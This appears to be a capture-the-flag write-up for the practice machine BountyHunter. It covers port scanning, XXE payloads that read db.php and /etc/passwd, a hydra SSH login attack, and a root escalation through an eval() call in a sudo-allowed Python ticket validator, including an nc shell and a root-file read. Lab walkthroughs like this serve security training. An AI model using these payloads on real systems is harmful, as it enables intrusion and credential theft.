# Enumeration
#### nmap
We've found two open ports: 22, 80.
# nmap -p- -sV -sC -oA bounty 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-04 05:02 EDT
Nmap scan report for 10.10.11.100
Host is up (0.049s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Port 80
The initial page presents us a couple of buttons:
* About
![[about us.png]]
* Contact
![[contact us.png]]
sending any type of message does not get through as a request but instead it goes to the beginning of the page.
* Portal
It is a bounty portal to submit information. It reflects the input - possible reflected xss ?
![[Pasted image 20210804121947.png]]
It says that the db is not ready....
#### nikto
Nikto found an interesting php file called ***db.php*** . Maybe it has something in common with the db from the portal.
# nikto -h bounty.htb
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.11.100
+ Target Hostname: bounty.htb
+ Target Port: 80
+ Start Time: 2021-08-04 05:06:04 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3093: /db.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ 7786 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2021-08-04 05:13:45 (GMT-4) (461 seconds)
#### db.php
Tried changing the GET request to OPTIONS, PUT and POST but i always receive only 200 OK with no other information.
![[Pasted image 20210804122446.png]]
#### Dirbuster
Running dirbuster with default dirbuster wordlist discovered the following directories and files:
![[dirb.png]]
#### bounty.htb/resources/README.txt
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
#### bounty.htb/resources/bountylog.js
From the code beneath we see that the variable and the input is actually xml. The only thing It comes to my mind is XXE. Let's go back to the portal and test.
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
#### Portal test for XXE
The following oneliner should send a connection to me if it works. In order for the application to understand the request, we need to encode it in base64 (ctrl+B in burp suite):
![[XXE test.png]]
And the test is successful:
![[XXE Successful.png]]
The following script is taken from (https://www.blackhillsinfosec.com/xml-external-entity-beyond-etcpasswd-fun-profit/)[blackhillsinfosec] with a little edit, we write assign a variable *xml* with a value that will be executed once envoked from the developer console.
var xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>something</cwe>
<cvss>something</cvss>
<reward>something</reward>
</bugreport>`
to Invoke xml:
returnSecret(btoa(xml));
Copy the base64 and decode it to get the db file contents. It contains credentials.
Now extract the users from the system with the following script:
var xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>something</cwe>
<cvss>something</cvss>
<reward>something</reward>
</bugreport>
# returnSecret(btoa(xml;))
Move the users into a file and sort the contents:
# cut -d : -f 1 passwords > usrs
# Exploit
#### Hydra
# hydra -L usrs -p <password from db file> 10.10.11.100 ssh
#### USER
SSH-ing into the machiine as the found user:credentials gives us user.
# Privilege Escalation
We have a ticket validator file that we can run as root with no password required, also we can run python3.8 (how convenient :D)```bash
$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
#### Ticket Validator Analysis
1. The ticket has to end with .md extension.
2. The contents of the file has to start with "# Skytrain Inc"
3. The following line has to point to destination as so: ## Ticket to
4. the ticket code should start with: __Ticket Code:__
5. The code is looking for 2x star symbol ( ** ) to remove it and split at position 0 where the + is found. example: **102+```python
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Ok let's write our own ticket.
The ticket has to complete the requirements in order to be executed. Then in the Ticket Code I decided to go with the example + a random number which equals to something that will return TRUE condition and used "and" to concatenate a system command that will spawn a reverse shell.
# Skytrain Inc
## Ticket to
__Ticket Code:__
**102+7==109 and __import__('os').system('nc -nvlp 1234 -e "/bin/bash"') == False
it seems that the system has a version of nc that does not support the -e flag. Oh, well, we can still dump the flag.
$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
ticket.md
Destination:
nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O length] [-P proxy_username] [-p source_port]
[-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
Invalid ticket.
Let's edit our ticket code.
# Skytrain Inc
## Ticket to
__Ticket Code:__
**102+7==109 and __import__('os').system('cat /root/root.txt') == False
And execute the code:
$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
ticket.md
Destination:
<flag>
Invalid ticket.
0 Comments
Recommended Comments
Няма коментари